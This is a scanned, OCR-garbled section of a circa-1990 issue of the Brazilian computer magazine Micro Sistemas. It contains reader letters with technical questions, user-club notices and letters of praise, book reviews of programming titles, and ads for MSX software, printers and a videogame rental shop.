etc; b)se devo trabalhar por médulos, ou
se o programa tem duas partes; c)Quais
as linhas que devo eliminar para o AZTEC
C; d)se devo compilar o programa em duas
partes ou separar a primeira parte em sub-
-maodulos.

Enfim, apbs varias tentativas e efe-
tuada a compilacdo completa, na link-
-edicéo, foi requisitada a funcdo MAIN.

Qualquer esclarecimento ficarei muito
agradecido.

Vitor Max Rocha - $QS 409 BI.P
Apt.102C - Brasilia - DF - 70258

[J Gostaria de saber se ha jeito de fazer
misicas no CP 400 Color e se existem
periféricos para o mesmo. Em caso afir-
mativo, ficarel grato se algum leitor de MS
me Informar os tipos e marcas dos peri-
féricos disponivels.

Alexandre F. Vieira - R.Betin, 296 -Jodo
Monlevade - MG - 35930

[J Possuo equipamento HBS800OO da
Sharp 1.0, drive DDX 720K, datacorder
HB2400 e impressora 80col Lady 80, da
Elgin, e estou encontrando dificuldade
para rodar os programas que adquiro em
disco. Sempre que chamo o programa
acusa ‘erro de disco. No entanto, com mi-
nhas gravacdes ndo acontece o mesmo.
Procurei uma softhouse onde testaram
e rodaram 0s programas mas em drive de
outra marca. Em outra loja, me informa-
ram que meu drive necessitaria de um
ajuste na cabeca de leitura/gravagdo.
Gostaria que os amigos leitores me aju-
dassem. O que fazer?
Pedro Roberto Falchi - Av. das Amorei-
ras, 2160 - Sao Bernardo - Campinas
-SP - 13030

[0 Eu me interessei muito pelo ‘MSX-CAD!

-publicado no nimero 95 de MS, e gosta-

ria de saber o que é preciso ser modifi-
cado para que o programa (em Pascal)
possa ser usado no PC-XT (usando-se o
Turbo Pascal), se hover possibilidade desse
projeto ser convertido.

Também gostaria de saber se existe um
‘Cartao de Referéncia’ sobre o Norton Uti-
lities 45 ou de seus programas separa-
dos, tais como NDD, NCC, SAFE FORMAT
RECOVER, etc. Em caso positivo gostaria
de saber onde e como posso adquirir o
cartdo.

Marcus Vinicius P. Azevedo - R. 14, 25
- Cabo Frio - RJ - 28900

(] Sou usuario de um computador S-700,
compativel com CP/M-80, e estou com o
seguinte problema:

Tenho programas em CP/M-80 para a
linha Apple, s6 que os mesmos ndo rodam
no S-700 por ter formatacao diferente. Que-
ria saber se & possivel transferir arquivos
no formato Apple para o S-700 ou se ha
algum programa para executar o mesmo.
Também gostaria de me corresponder com
usudrios do S-700 ou compativeis com o
CP/M-80 e saber onde encontrar progra-
mas para o mesmo.

Carlos Alberto Ferreira - R.Felicia de
Novals, 137 - Fatima - ltabuna - BA
-45600

U Gostaria de adquirir um Macintosh mas
nao tenho conseguido informacdes dos re-
vendedores deste produto. Como
consegui-lo no Brasil?

Queria saber ainda o seguinte : quais
as lojas mais indicadas que revendem o
Mac? Existe algum tipo de compatibilidade
com o MSX Hotbit? Qual marca de drive |
3 1/2; para MSX, é melhor e com possi-
bilidade de uso em outros computadores,
como Amiga e PC? Quais os locais mais
confidveis para a transformacdo do MSX
1.1 para 2.0?

Andrea M. Santos - R.Siqueira Campos,
852/91 - Porto Alegre - RS - 90010

0 Como leitor e assinante de Micro Sis-
temas, gostaria de saber se & possivel ex-
plicar a organizacéo dos buffers do disco
de trabalho, seu tamanho, drea do disco
que ocupa e também se o formato PRO-
-KIT (PKT) de gravacao funciona com as
rotinas de descompactacao publicadas
em Micro Sistemas.

Reinaldo Quaresma Azevedo - R.da Li-
berdade 327 - Campo Grande - M$S
-19020
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Luiz, 9 GR 403 - Rio de Janeiro - RJ

- CEP 20230 - Secdo Cartas- Redacdo
MICRO SISTEMAS |

O TOQUE QUE FALTAVA

.DRIVES 5v1¢ 37
.MODEM
.IMPRESSORAS

.MEGARAM DISK
(TODOS OS MODELOS)

SUPER PROMOCAO

100 JOGOS + 5 APLICATIVOS

+ 1 CX.DISQUETES

Despachamos
para todo o Brasil

. TRANSFORMACAG ,%%PMV_‘WF T

TV

PARA VERSAD 20

Distribuider autorizads MSI Soft

TEL.(021) 581-7497

PLAYSOFT INFORMATICA LTDA.
Rua Or. Pache de Farias, 21 Sala 409
Meier - Rio de Janefro - R - cep 20710

PARA SEU MSX

APLICATIVOS - JOGOS

Para
MSX1 PLUS, DDPLUS e 2.

GRAVACAD S7a 720kb
574 360kb

PECA ‘?U’?
CATALOGO GRATIS =

£




[0 Gostaria de informar aos leitores desta
t30 conceituada revista que o ‘1 Concurso
de Adventures - Space Soft’' chegou ao fim.

0 grande vencedor foi Alexandre Frare,
com o adventure ‘O Manto Sagrado!

Gostaria também de informar que este,
bem como os outros adventures de sua
autoria, estdo sendo comercializados atra-
vés do Club Space Soft. :

Parabéns a Alexandre Frare e, por fa-
vor, quelra entrar em contato conosco para
ser informado sobre a premiag&o. Obrigado
a revista MICRO SISTEMAS pelo apoio
dado ao nosso concurso e ac MSX. Con-
tinuem assim.

Clube Space Soft - Av.Almirante Coc-
hrane, 287 - Embaré - Santos - SP
-11040

O Nés ficamos abismados com o incri-
vel nimero de carias recebidas apds o
aniincio do nosso clube de usuarios de PC-
-XT/AT em MICRO SISTEMAS, e queremos
agradecer aos que escreveram, bem como
aos editores da MS. Aproveitamos o mo-
mento para avisar novamente aos usuarios
deste equipamento que o PC-Friends con-
tinua a receber novos socios.

Clube PC-Friends

Caixa Postal 139 - Caruaru - PE - CEP
55100

[] Estou formando um clube para usua-
rios da linha MSX, sem fins lucrativos, vi-
sando unicamente a satisfazer os desejos
dos usuarios trocando programas (produ-
zidos ou ndo pelos futuros socios), atra-
vés de disquetes fitas K-7 ou listagens, di-
cas (possuo mais de 150 somente para
jogos) e informagoes em geral. O acervo
do clube consta, atualmente, de cerca de
430 itens.

Para associar-se mande: nome, ende-
rego, data de nascimento, equipamentos
de que dispéem e, se possivel, um pro-
grama ou dicas/macetes. A resposta po-
dera ser através de disquete 5 ou 25, fita
K-7 ou listagem, a depender do equipa-
mento do sécio.

Albino §. Yiana - Edf.Santa Elizabeth,
54/1503 - Campo Grande - Salvador
-BA - 40000

[0 Estou fundando o Elite Club Computer,
o clube do TK2000 e do MSX. Os interes-
sados em se associarem mandem nome,
endereco, aparelho, periféricos, para:
Elite Club Computer - R.Professor Sar-
mento, 95 - Praia do Sua - Vitoria - ES
- 29000

(] Possuo um clube para a linha Apple,
sem fins lucrativos, que esta a inteira dis-
posic¢éo dos usudrios do mesmo que quei-
ram ampliar seus acervos ou simples-
mente esclarecer dividas. Os interessados
devem entrar em contato com:
Rik&Dac Software - R.Cel.Bordini,
300/404 - Auxiliadora - Porto Alegre
- RS - 90420

[ Estou querendo organizar um clube de
usuarios para a linha Commodore Amiga,
que ndo tera nenhuma taxa de inscrigao,
ou qualquer fim lucrativo, pois visara sim-
plesmente a um intercAmbio de progra-
mas, informacgdes técnicas, dicas, etc.
O clube ira trabalhar da seguinte forma:
ao enviar um disco contendo um programa
que ndo exista em nosso acervo, o sécio
tera direito a um disco, a sua escolha, de
nosso acervo de software. No entanto, se
o socio ndo tiver software e quiser adqui-
rir algum, devera enviar 5 disquetes de 3
1/2¢ com direito a receber 4 disquetes com
programas a sua escolha. O quinto dis-
quete ficara como custo “simbélico” pelo
trabalho de gravacao.
Carlos Yuiti Tsujimoto - Rua Affonso
Celso, 85 / 101 - Salvador - BA -
41160

[0 Recentemente foi criado o MSX Bro-
thers Club, cujo objetivo é trocar progra-

" mas, manuais, dicas , etc, relativos ao

MSX.

MSX Brothers Club A/C Jorge Leite de
Siqueira - R.Ad3o Fernandes, 71 - Me-
deiros Neto - BA - 45960 -

[J Como programador e diretor do TRS-
-Club Service, um novo clube de usuarios
TRS, venho informar aos interessados que,
antes de ser simplesmente um novo clube
de usuarios, o TRS Club prevé a intensiva
participagdo de seus associados, j& que
se trata de um clube voltado para a pro-
ducao e divulgacdo de produtos realmente
nacionais, sejam eles jogos e/ou aplicati-
vos. Além disso, programadores poderao
trocar experiéncias usando o clube como
interface.

0O TRS-Club presta também os seguin-
tes servicos: venda de sistemas profissio-
nais, como mala direta, contas a
pagar/receber, controle bancéario; desenvol-
vimento de sistemas especificos; venda
de livros; compra e venda de equipamen-
tos usados; venda de suprimentos; elabo-
racao de um boletim mensal, com rotinas,
programas, etc.

Os interessados devem entrar em con-
tato enviando dados completos de equi-
pamento, lista de software e lista de do-
cumentacao.

TRS-Club Service - Rua Recieri Petri,
43 - Jardim Camanducaia - Amparo -SP
- 13900

[0 Eu e alguns colegas estamos formando
um clube para TK2000 Color; MSX e
Amiga. Para este fltimo, estamos com
poucos jogos, porém ja em desenvolvi-
mento. Para maiores informaces escreva
para:

Mega Corporation Club - Rua Sagrado
Coracao de Maria, 70 - Vitéria - ES
-29055

] Aviso aos leitores da revista MICRO SIS-
TEMAS que foi fundado o Ohms Club Tec-
nology que visa a troca de informacoes
e de tudo relacionado a tecnologia (infor-
matica, eletronica, etc.) e ainda a troca
de correspondéncia entre amigos que tém
interesses comuns.

As cartas podem ser enviadas aos
meus cuidados, no endereco abaixo:
Luciano H. Trindade - Rua Aristides
Viadana, 252/ 21 Bloco 4 - Sao Paulo
- SP - 05038

[ Gostariamos de convidar aos leitores
da revista MICRO SISTEMAS que possuem
micros da linha Apple (ou simplesmente
se interessam por esta maquina) para
associar-se ao nosso clube, gue nao visa
lucros.

Pretendemos apenas uma maior inte-
gracdo entre os usuarios desses micros,
trocas de programas, dicas, experiéncias
e dividas. Futuramente iremos fazer um
jornalzinho.

W & W Aplie Club - Rua XV de Noven-
bro, 827 - Itaqui - RS - 97650

[ Estou fundando um clube de usuérios,
o CCM, Clube de Correspodéncia sobre o
MSX. A filiacdo é gratuita. Mande seu
nome, endereco completo e area de inte-
resse. =

O clube possui cadastro de software
de todos os associados e também de al-
gumas softhouses. Tem ainda servigos es-
peciais para quem nao possui impressora,
para recuperar discos apagados ou com
problemas de setores, oferece informacgdes
sobre produtos, tira dividas, etc.
Alexandre Kaplan Moscovici
Rua das Mangabeiras, 150 - Bairro Pa-
caembu - Sdo Paulo - SP - 01233
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[J Quero inicialmente me congratular
com MICRO SISTEMAS pelo nivel das pu-
blicagoes apresentadas nos (ltimos exem-
plares, em especial o de nimero 97.

Como usuario de um micro PC fico sa-
tisfeito em ver uma publicagdo nacional,
que mesmo mesclando varios ramos da
microinformatica (Apple, MSX e PC), con-
segue este exelente desempenho.
Johann Huber - Av.Estilac Leal,
160/34B - Centro - Guarulhos - SP
-07010

] Quero parabenizar MICRO SISTEMAS
pelo grande sucesso que vemn alcancgando
nos (ltimos anos, por seu alto nivel téc-
nico e pelas inovadoras matérias que
atingem os mais diversificados micros,
indo do TK85 ao Amiga.

Halan Dias - R. Americana, 9 - Sao
Paulo - SP - 08040

] Quero parabenizar MICRO SISTEMAS
pela matéria do autor Luiz Cressoni Filho,
publicada no nimero 98, sobre ‘INJOUT
TK95: Parabenizo também a ATI Editora
por produzir uma revista especializada em
informatica, que abre espaco para todos
0s micros nacionais, o que deve ser tra-
balho dificil, ja que existem varias marcas
e tipos de micros.

No Brasil, a Gnica revista que abre es-
paco para TK é a MICRO SISTEMAS, e
gostaria que ela continuasse dando este
espago necessario para que 0s USUArios
possam obter informagdes importantes.

Fica aqui o meu recado e os meus vo-
tos de que MICRO SISTEMAS continue
sempre assim.

Otavio Carvalho Jr. - R. Adelina Gio-
metti Franca, 295 - Sumaré - SP -13170

0 Venho dar os parabéns a revista MICRO
SISTEMAS, uma revista bem montada e
simples de ser entendida. Hoje em dia, ha
uma dificuldade enorme em se entender
as outras revistas de informéatica pois sdo
técnicas demais,

Com MS, ja consegui tirar muitas di-
vidas a respeito do maravilhoso mundo da
informatica.

Antonio Carlos Nicolodi - R.Prudente
de Moraes, 339 - Blumenau - SC
-89030

[ Venho parabenizar toda a equipe de
MICRO SISTEMAS pela excelente perfor-
mance e dinamismo que a revista apre-
senta.

Albino S. Viana - Ed. Santa Elizabeth,
54/1503 - Campo Grande - Salvador
-BA - 40000

[ Quero parabenizar Roberto Alves Fer-
nandes pela entrevista dada a Micro Sis-
temas-e a propria revista pela excelente
matéria publicada na ‘Ultima Paginag do
nimero 96.

.Além do lucro exagerado que as mul-
tinacionais tém com a explorac¢do do
nosso pais (em termos gerais) nao fabri-
cam produtos dignos do consumidor.

Ao citar que as multinacionais fabri
cantes de carros, motocicletas, produtos
farmacéuticos, etc, ndo fabricam seus
produtos com a qualidade que a popu-
lagdo necessita, ele nos mostrou que nao
basta liberar a reserva do mercado de in-
formatica, mas sim criar uma politica vol-
tada a atender os conceitos basicos do
que é ‘informétical isto & fabricar seus
produtos de um modo que corresponda
as necessidades basicas do usuario.

Meus parabéns a Roberto Andrade Fer-
nandes, e a MICRO SISTEMAS.
Marzaléem Alves de Lima - R. D.Pedro
Il, 89 - Monte Carmelo - MG - 38500

[J Sou leitor de MS ha 4 anos, e tenho
notado que a revista melhorou ainda mais
nos dltimos tempos. Parabéns.

Silvio Luiz Evangelista - Av.Dr.Janbeiro
Costa, 881 - Lome - SP - 13615

] Venho parabenizar MICRO SISTEMAS
por sua sempre renovada atualidade que,
sem davida, faz dela um grande e per-
manente sucesso. Cito como exemplo a
oportunissima matéria ‘Play it again, Sam’
de MS 97. Mais uma vez, parabéns.

Sergio Rodrigues Salgueiro - R.Dona
Eugénia, 1418 - Piracicaba - SP -13400

O Trago meu elogio a qualidade de MI-
CRO SISTEMAS e de seus artigos, princi-
palmente os para PC e compativeis.
Marco Antomio Pinto - R.Heliun, 240
- Belo Horizonte - MG - 31130

Veja so se ndo é uma vantagem e tanfo:

vocé paga 10 e leva 12 edicées. Uma
pechincha de dar d4gua na boca.

E néo é 56 isso ndo. Afente para o fato
de que MICRO SISTEMAS é a primeira
revista brasileira de microcomputadores. Sao
10 anos de lideranca no mercado e muita

histdria para confar.

A nossa maior fraoﬂrg:éo confinua sendo
nosso carro chefe: nas paginas da MICRO

SISTEMAS vocé encontra sempre uma

andlise do mercado de informatica. Além, é
claro, dos melhores programas e rotinas

pubfrcados em revisias,
Néo figue ai parado. Pegue a sua

calculadora e faca as contas. Depois é s6
preencher o cupom ao lado e entrar para o

time dos usudrios bem informados.
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Nome:

Endereco:

Cep: Cidade:

UF:

Equipamento:

Profissgo:

Data nasc.:

Ass:

Data:

Estou enviando o cheque n®

de MICRO SISTEMAS.

no valor de Cr$4,6C0,00 nominal 34 ATl EDITORA SA,
referente a uma assinatura anual (12 numeros)

ATI

Andlise, Teleprocessamento e Informdatica Editora S.A.

Rua Washington Luiz, 9 - gr 402 - Rio de Janeiro - RJ - Cep: 20.230

e e e R e e e e ————— e e —— R e



USANDO HARVARD GRAPHICS
Stephen Sagman

Editora Campus Lida

380 paginas

A obra indica como criar recursos vi-
suais, melhorar uma apresentagao co-
mercial, fazer slides, transparéncias, fo-
Ihetos impressos, cartoes de esbocgos,
mapas, graficos comerciais, etc. Além
disso, mostra como criar quadros de
texto, quadros de setores circulares, qu-
adros de barra, quadros de coluna, qua-
dros de linha, quadros de ponto, qua-
dros de alta/baixa/fechamento e muitos
outros tépicos que pretendem acabar
com as apresentacdes cansativas, pro-
duzindo em seu lugar algo inovador e
atraente.

REENGENHARIA “E SOFTWARE
Técnicas de Manutencéo de
Programas e Sistemas

Girish Parikh

Livros Técnicos e Cientificos Editora
Ltda

464 paginas

Este & um livro que oferece dicas e
técnicas gerenciais de manutencédo de
software; descreve com preciséo a apli-
cagdo e o impacto das técnicas estrutu-
radas (andlise, projeto, programacao e
produtividade) na manutencéo e desen-
volvimento de software; fornece ins-
trucbes préticas para os programadores
de manutencdo, além de uma listagem
de checagem para efeitos colaterais
numa mudancga de manutengao.

CLIPPER - Modelos de Programas
Ernesto M. Haberkorn / Laércio J. L. Co-
sentino

Editora Atlas S/A

92 paginas

Ao apresentar modelos de programas
escritos em Clipper, este livro facilita a
tarefa de desenvolver sistemas. Os mo-
delos demonstrados servem de base
para o sistema SIGA (Sistema Integrado
de Geréncia Automatica) e a metodolo-
gia empregada tem se mostrado bas-

tante flexivel para ser utilizada em ou-
tras aplicagoes.

0 livro pressupde que o leitor tenha
o dominio da linguagem Clipper, € 0
ideal é fazer a leitura diante de um mi-
cro. Nesse sentido, segue anexo um dis-
quete que contém o conjunto dos qua-
tro programas-fonte analisados, que
servirdo de esqueleto para o desenvolvi-
mento dos préprios programas do usua-
rio. Além disso, os programas apresenta-
dos sdo fartamente comentados,
permitindo que o leitor entenda detalha-
damente o significado de cada co-
mando.

DOMINANDO O TURBO PASCAL
Douglas Hergert

Editora Ciéncia Moderna Lida
569 paginas

Com seus 15 capitulos e 2 apendi-
ces, divididos em 3 partes, contendo 22
programas-exemplo, esta obra é sem
divida, inédita em portugués. Cobrindo
as versdes 4.0 e 5.0, abrange todos
aqueles que desejam aprender e aplicar
os conhecimentos desta fantastica lin-
guagem de programacéo. Constitui um
guia pratico e atualizado para as
versoes 4.0 e 50 do Turbo Pascal, escri-
tos especialmente para aqueles usua-
rios que ja estejam familiarizados com
alguma linguagem de programacéao.

Se o leitor esta estudando o Turbo
Pascal, esta obra Ihe fornecera a prética
necessaria para efetuar a maioria das
implementacoes da Borland, tais como:
o novo debugger na versdo 5.0; como
utilizar o sistema de menus; o uso efe-
tivo do editor e o processo de desenvol-
vimento de programas. Apresenta ainda,
cobertura da manipulag@o de arquivos,
incluindo a programacdo em arquivos de
acesso sequéncial e radémico; uma In-
troducio e viso geral das capacidades
graficas do Turbo Pascal 50; uma va-
liosa cole¢d@o de unidades prontas para
serem usadas, incluindo rotinas para
manipulagdo de strings, entrada do
usudrio e datas; um exame de recursao,
incluindo um programa-exemplo do
Quick Sort.

PROGRAMAS PROFISSIONAIS
PARA MSX E PC

_SOLICITE CATALOGO

LINHA MSX

Contabilidade Profissional Completa em Dbase Il Plus - 100 BTN's
Controle de Estoque Profissional em Dbase Il Plus - 30 BTN's

Super Conversor de Arquivos - Basic - Dbase - 20 BTN's
Supershapes 1, 2 e 3: Para Graphos Ill e Page Maker - 14 BTN's cada
EV.A.: Editor de Vinhetas Animadas - 30 BTN's

LS.D: Letters Special Designer - 20 BTN's
Mala Direta Plus - 30 BTN's

Agenda Profissional ¢/ Mala Direta e Editor de Textos - 300 BTN's
Contabilidade Profissional Completa - 300 BTN's'
Agenda Politica ¢/ Mala Direta e Editor de Textos - 300 BTNs

Programas de Dominio Pablico e Shareware: Solicite Catalogo
Pedidos através de Cheque Nominai ou Vale Postal a:

NEWDATA INFORMATICA E SISTEMAS LTDA.
Rua José Benfica, 167 - CEP 78001 - Campo Grande-MS
Caixa Postal 1049 - Telefone: (067)761-3425

LINHA PC




A Lady 90 & o mais avangado conceito de
moderna tecnologia que comprova, pelos

.' seus recursos, design e eficiéncia, as
constantes inovagoes desenvolvidas pela
Elgin no munde da informética.

Ela é rdpida e silenciosa; imprime
normalmente 120 caracteres por segundo
mantendo o nfvel de mido abaixo de 60
decibés.

E também muito versatil. Pode ser
acoplada a todos os micros, aocs aparelhos

| de telex e tarifadores em geral, Para
facilitar ainda mais as coisas, € dotada de
chave de dupla voltagem.

Além da Qualidade de Carta, ela dispée de
10 diferentes modos de impressao que

ELGEIN =

ELGIN MAQUINAS S.A. Rua Bario de Campinas, 208 - Cep 01201 - Tel. 222-6999 - Telex 37805 - Fax 220-7644 - Sao Paulo - SP - FAbr. em Mogi das Cruzes - Est. de SP

I

e

podem ser combinados entre si em um
mesmo texto ou linha. E tem mais. Cragas
a capacidade do buffer, enquanto a Lady
90 estiver imprimindo, vocé continua
usando simultaneamente o computador.
Ela opera tanto com folhas soltas como com
formulédrios continuos e € a impressora mais
compacta do mercado dispensando mesas
especials ou espaco extra. E também a
mais leve, com apenas 3,5 quilos.

Voce tem todos estes e muitos outros
motivos para conhecer o mais novo
langamento da Elgin.

Passe na revenda mais préxima, peca

uma demonstracao e descubra o porqué

ELETRONICA




FREELA COMUNICACOES -

_ sistema

- Game Boy e g

—7 W Dimens@o & pioneira
na locacdo de videogames no
Brasil. Desde o inicio, criou todas

- as condigées para a divulgacdo

do Megadrive no mercado e ja
NO ano passado seus sécios
alugavam diversos cartuchos

para esse incrivel equipamento.

__ Hoje a Dimensa@o tem mais
de 60 titulos exclusivos para o
Megadrive em todas as suas lojas

€ gostaria de parabenizar a

TEC-TOY pela iniciativa ousada
de lancar o aparelho no pais.
Além de jogos e aparelhos do
egadrive, a Dimensao
Possui uma infinidade de jogos
para P:hcm'rom,JM_cster System,
dalguer outro
videogame, em fodos.os formatos.

: Seu pessoal de atendiménto
€ altamente gabdritado, :

conhecendo os minimos detathes |

de fodos os jogos — inclusive as
dicas! :

- Aléem dos games, a :
Dimensdo tem a maior variedade
de acessorios para locacdo e
venda, oferecendo ainda _
assisténcia técnica especializada

- pPara qualquer videogame,

Jinclusive Amiga e todas as

~ configuracoes de MSX e PC-XT/AT.

T ——

i

e

DRIVE £ MARGAREGISRADA TEGTOY | -

o

- Tels.: 217.7161 -296.4928
- Tels.: 884.8151 -884.8152 |
- Rua Xavier de Toledo, 210/23 - Tels.: 36-3226 - 34.8391 |
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LOJA 1: Tatuapé - Rua Santa Virginia, 107-
V== LOJA 2: V. Mariana - Rua Afonso Celso, 771
o [ (&4 LOJA3: Centrio
e == LOJA 4: Santana
i : Rio de Janeiro:
Porto Alegre:

e

DIMENSAQ

Breve uma perfo de vocé!

L

'Estc';rédi:i';f:o'.ieve parficipacde especial du"Dim"aénmb.}'ni; fornecimento de informagses e de jogos.

Dimensdo, a primeira e maior locadora de games do Brasil
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